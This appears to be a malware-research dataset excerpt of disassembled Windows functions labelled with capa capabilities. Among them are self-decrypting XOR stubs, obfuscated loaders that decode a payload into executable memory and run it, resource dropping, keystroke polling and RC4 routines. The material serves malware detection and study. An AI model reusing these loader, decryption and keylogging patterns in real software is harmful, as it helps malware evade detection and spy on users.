joyce8/EMBER2024-capa huggingface dataset:
Function at 0x54417c
Capabilities:
Check if file exists
Delete directory
Delete file
Get file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
xor edx, edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00406fe8
xor eax, eax
push ebp
push 0x544272
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [ebp - 4]
call fcn.0041de10
test al, al
je 0x544254
jmp 0x5441de
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 4]
call fcn.0041e1a4
lea eax, [ebp - 0x14]
mov edx, 0x54428c
call fcn.00407c58
mov eax, dword [ebp - 0x14]
mov edx, 5
call fcn.0053ea88
cmp eax, 2
je 0x544254
mov eax, dword [ebp - 4]
call fcn.005440fc
test al, al
jne 0x5441b4
mov eax, dword [ebp - 4]
call fcn.00407a74
push eax
call sub.kernel32.dll_DeleteFileW
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
cmp byte [ebp - 5], 0
jne 0x544254
call sub.kernel32.dll_GetLastError_1
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
call fcn.00407a74
push eax
call sub.kernel32.dll_GetFileAttributesW
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x54424b
test byte [ebp - 0xb], 4
je 0x54424b
test byte [ebp - 0xc], 0x10
je 0x54424b
mov eax, dword [ebp - 4]
call fcn.00407a74
push eax
call sub.kernel32.dll_RemoveDirectoryW
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
jmp 0x544254
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_SetLastError
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x544279
lea eax, [ebp - 0x14]
call fcn.00406f04
lea eax, [ebp - 4]
call fcn.00406f04
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401440
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
movzx eax, word [esp + 4]
mov ecx, dword [0x414c44]
push esi
push str.CUSTOM
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [esp + 8], eax
test esi, esi
jne 0x401477
xor al, al
pop esi
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x401473
push edi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edx, dword [esp + 0x10]
push 0
push 0x80
push 2
push 0
push 0
mov edi, eax
mov eax, dword [edx]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [esp + 0xc]
push 0
mov esi, eax
lea eax, [esp + 0x10]
push eax
push ecx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop edi
test esi, esi
je 0x4014cf
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop esi
ret

Function at 0x4014e0
Capabilities:
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x40e120
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x413020]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
mov eax, dword [0x41405c]
mov edx, dword [eax + 0xc]
mov ecx, 0x41405c
call edx
lea esi, [eax + 0x10]
mov dword [esp + 0x10], esi
push 0x410c58
lea edi, [esp + 0x18]
mov dword [esp + 0x24], 0
call fcn.00401150
add esp, 4
mov byte [esp + 0x20], 1
mov ecx, dword [eax]
lea eax, [ecx - 0x10]
lea edi, [esi - 0x10]
cmp eax, edi
je 0x40158c
cmp dword [edi + 0xc], 0
lea esi, [edi + 0xc]
jl 0x40157b
mov edx, dword [eax]
cmp edx, dword [edi]
jne 0x40157b
call fcn.00402000
mov ebx, eax
or eax, 0xffffffff
lock xadd dword [esi], eax
dec eax
test eax, eax
jg 0x401572
mov ecx, dword [edi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push edi
call eax
lea esi, [ebx + 0x10]
mov dword [esp + 0x10], esi
jmp 0x40158c
mov ebx, dword [ecx - 0xc]
push ecx
lea eax, [esp + 0x14]
call fcn.00401f60
mov esi, dword [esp + 0x10]
mov byte [esp + 0x20], 0
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4015b1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [esp + 0x10]
push ecx
push 0x82
call fcn.00401440
mov bl, al
lea eax, [esi - 0x10]
add esp, 8
mov dword [esp + 0x20], 0xffffffff
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4015f0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov al, bl
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x14
ret
Function at 0x100076b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x100076bf
pop dword [ebp - 0x24]
mov eax, 0x100076bf
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x3edf32e4
add dword [ebp - 0x34], 0xf731267
mov dword [ebp - 0x30], 0x5e51afa6
sub dword [ebp - 0x30], 0x2c1e6361
mov dword [ebp - 0x2c], 0xbb64e775
sub dword [ebp - 0x2c], 0x6f18a347
mov dword [ebp - 0x28], 0xcba5a972
sub dword [ebp - 0x28], 0xcba5a972
lea eax, [ebp - 0x34]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xd623aecd
add dword [ebp - 0x34], 0x9e4eba89
mov dword [ebp - 0x30], 0x90c97185
sub dword [ebp - 0x30], 0x4f5d1010
mov dword [ebp - 0x2c], 0x1c7fa2d0
sub dword [ebp - 0x2c], 0xb9103664
mov dword [ebp - 0x28], 0xdaa95297
add dword [ebp - 0x28], 0x2556ad69
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0xb48be8c4
add eax, 0x5b7507e4
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x37f9c
push 0
call eax
mov ecx, 0x44dc
mov esi, eax
mov edx, 0xf6eadf73
sub edx, 0xe6e8a773
add edx, dword [ebp - 0x24]
mov edi, 0x61e038e6
mov ebx, dword [edx]
sub dword [ebp - 0x10], ebx
xor ebx, edi
xor dword [ebp - 4], 0xf6269765
mov dword [esi], ebx
sub dword [ebp - 0x18], 0x3c2b228b
add esi, 0x84ebe026
sub esi, 0x84ebe022
add edx, 0x29abafe1
add edx, 0xd6545023
loop 0x100077cb
add eax, 0xe7397a87
sub eax, 0xe7387444
xor ebx, ebx
add ebx, eax
add eax, 0x7ab9b9b5
add eax, 0x85464650
mov ecx, 0x10000000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x1000b110
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
mov eax, dword [esi + 0xc]
sub eax, dword [esi + 4]
cmp eax, 0x1a
jl 0x1000b168
mov eax, dword [esi + 8]
cmp eax, dword [esi]
jl 0x1000b168
push 0
push dword [edi + 0x18]
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [esi + 0xc]
sub eax, dword [esi + 4]
push 0x10
push eax
mov eax, dword [esi + 8]
sub eax, dword [esi]
push eax
push dword [esi + 4]
push dword [esi]
push 0
push dword [edi + 0x18]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov ecx, edi
call fcn.100076b0
push 1
push dword [edi + 0x18]
call dword [sym.imp.USER32.dll_ShowWindow]
pop edi
pop esi
pop ebp
ret 4

Function at 0x1000b700
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
push dword [ebp + 0xc]
push 0xd
push dword [ecx + 0x38]
call dword [sym.imp.USER32.dll_SendMessageA]
pop ebp
ret 8
Function at 0x100043fb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x1000440a
pop dword [ebp - 0x34]
mov eax, 0x1000440a
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x8e77980a
add dword [ebp - 0x44], 0xbfdaad41
mov dword [ebp - 0x40], 0x59b01ce7
add dword [ebp - 0x40], 0xd8832f5e
mov dword [ebp - 0x3c], 0x90792199
add dword [ebp - 0x3c], 0xbbd32295
mov dword [ebp - 0x38], 0x2ac5d0e5
add dword [ebp - 0x38], 0xd53a2f1b
lea eax, [ebp - 0x44]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x52ff69e
add dword [ebp - 0x44], 0x6f4272b8
mov dword [ebp - 0x40], 0x857f5771
add dword [ebp - 0x40], 0xbbed0a04
mov dword [ebp - 0x3c], 0xd1dee96e
sub dword [ebp - 0x3c], 0x6e6f7d02
mov dword [ebp - 0x38], 0x81abb744
sub dword [ebp - 0x38], 0x81abb744
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0x475a64ec
sub eax, 0x37587450
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x40959
push 0
call eax
mov ecx, 0xffb54ae4
sub ecx, 0xffb4ece1
xor esi, esi
add esi, eax
mov edi, 0x10029a00
add edi, dword [ebp - 0x34]
mov ebx, 0x1974b21f
add dword [ebp - 0x14], 0x92decebd
mov edx, dword [edi]
sub dword [ebp - 8], 0xcf5f20be
xor edx, ebx
add dword [ebp - 0x30], 0x1fd86e0f
mov dword [esi], edx
add esi, 0x7a2837c8
sub esi, 0x7a2837c4
add edi, 0x3d630d36
add edi, 0xc29cf2ce
loop 0x10004518
add eax, 0xbb2a1940
add eax, 0x44d7519f
mov ebx, eax
add eax, 5
mov ecx, 0xf7bf5b99
sub ecx, 0xe7bf5b99
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x1001cc37
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
cmp byte [esi + 0x2d], 0
jne 0x1001ccba
push ebx
mov ebx, dword [ebp + 0x10]
push edi
push 0
lea eax, [ebp + 0x10]
push eax
push ebx
push dword [ebp + 0xc]
push dword [esi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov edi, dword [ebp + 0x10]
cmp edi, ebx
je 0x1001cc84
mov byte [esi + 0x2d], 0xff
test edi, edi
je 0x1001cc84
cmp edi, ebx
jge 0x1001cc84
mov eax, dword [ebp + 0xc]
mov ecx, ebx
sub ecx, edi
push ecx
add eax, edi
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
cmp dword [esi + 0x18], 0
je 0x1001ccb4
add dword [esi + 0x1c], ebx
cmp dword [esi + 0x1c], 0xffff
jle 0x1001ccb4
xor eax, eax
mov word [esi + 0x1e], ax
mov eax, dword [esi]
push esi
call dword [eax + 0x2c]
mov ecx, dword [esi + 0x18]
mov edx, dword [ecx]
push 1
push dword [esi + 0x20]
push eax
push ecx
call dword [edx + 0xc]
mov edi, dword [ebp + 0x10]
mov eax, edi
pop edi
pop ebx
jmp 0x1001cccc
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
pop esi
pop ebp
ret 0xc
Function at 0x1001cf62
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x100268b0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
mov edi, dword [ebp + 0xc]
cmp byte [0x100269c0], al
je 0x1001cf99
push ebx
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
jmp 0x1001cffd
push 0x103
push eax
mov byte [ebp - 0x108], al
lea eax, [ebp - 0x107]
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push esi
call fcn.100043fb
lea eax, [ebp - 0x20c]
push eax
push edi
call fcn.100043fb
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, eax
push ebx
lea eax, [ebp - 0x108]
push eax
call fcn.100043fb
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001ddeb
leave
ret 0x10

Function at 0x1001d00e
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x100268b0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x100269c0], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x1001d03a
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x1001d06b
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x1001d069
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.100043fb
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x1001d06b
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1001ddeb
leave
ret 8

Function at 0x1001d106
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x100268b0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x100269c0], 0
mov eax, dword [ebp + 8]
je 0x1001d12e
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x1001d148
lea ecx, [ebp - 0x108]
push ecx
push eax
call fcn.100043fb
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.1001ddeb
leave
ret 4

Function at 0x1001ddeb
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100268b0]
jne 0x1001ddf5
repz ret
jmp fcn.1001e62c

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40a670
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4710bb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00463c2c
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40a6f2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004616aa
mov eax, dword [eax]
push 0x48a1d0
push eax
call fcn.00454254
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00463eb7
test bl, bl
je 0x40a6f2
push 0x48a1d0
lea ecx, [esp + 0xc]
call fcn.00464293
push 0x48dd3c
lea ecx, [esp + 0xc]
call fcn.00464293
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40a72e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00463eb7
jmp 0x40a7f9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40a7b2
lea edx, [esp + 0x7c]
push 0x48dd38
push edx
call fcn.00454254
add esp, 8
test eax, eax
je 0x40a7b2
lea eax, [esp + 0x7c]
push 0x48dd34
push eax
call fcn.00454254
add esp, 8
test eax, eax
je 0x40a7b2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40a742
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00463eb7
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40aff0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40b052
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40b060
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x47113b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x494c18]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40b198
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40b0c6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00463eb7
xor eax, eax
jmp 0x40b20f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00464040
push esi
lea ecx, [esp + 0xc]
call fcn.004642cf
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40b1ed
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocStringLen
call fcn.0040aff0
test eax, eax
jne 0x40b1ed
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocStringLen
mov ecx, edi
call fcn.0040aff0
test eax, eax
jne 0x40b1ed
lea eax, [esp + 0x14]
push 0x48dd50
push eax
call fcn.00455330
mov esi, eax
add esp, 8
test esi, esi
jne 0x40b1cc
lea ecx, [esp + 0x14]
push 0x48dd4c
push ecx
call fcn.004552b0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40b1cc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40b1cf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00463ff0
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40b0de
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00463eb7
xor eax, eax
jmp 0x40b20f
mov byte [esi], 0
push 0x48dd48
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.00463eb7
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41bc20
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41bc8e
cmp si, 0x69
ja 0x41bc8e
add esi, 0xffd0
cmp si, 0x11
je 0x41bc5e
push 0x11
call edi
test ax, ax
jge 0x41bc5e
or esi, 0x2000
cmp si, 0x10
je 0x41bc73
push 0x10
call edi
test ax, ax
jge 0x41bc73
or esi, 0x4000
cmp si, 0x12
je 0x41bc88
push 0x12
call edi
test ax, ax
jge 0x41bc88
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41bc9b
mov esi, 0xbd
jmp 0x41bc4f
cmp si, 0x6e
jne 0x41bca8
mov esi, 0xbe
jmp 0x41bc4f
cmp si, 0x6f
jne 0x41bc49
mov esi, 0xbf
jmp 0x41bc4f

Function at 0x41d3d0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4a59b8]
xor edx, edx
cmp eax, edx
jne 0x41d3f6
xor eax, eax
mov byte [eax + 0x4a58b8], al
inc eax
cmp eax, 0x100
jl 0x41d3de
mov dword [0x4a59b8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4a58b8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41d487
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41d45a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41d428
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41d500
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41d553
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41d53a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x423f90
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x424128
cmp ebp, ebx
jle 0x424128
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, reloc.OLEAUT32.dll_VariantInit
mov dword [esp + 0x10], edi
jns 0x423fee
dec eax
or eax, 0xfffffff8
inc eax
je 0x423ff5
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x424004
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x42400b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.00463bf8
add esp, 4
cmp eax, ebx
je 0x42402c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.00463bf8
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x42411e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x424105
mov al, byte [edx]
cmp al, 0xc0
jbe 0x4240f1
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x4240e6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x4240f4
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x4240f4
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x424090
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x424081
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret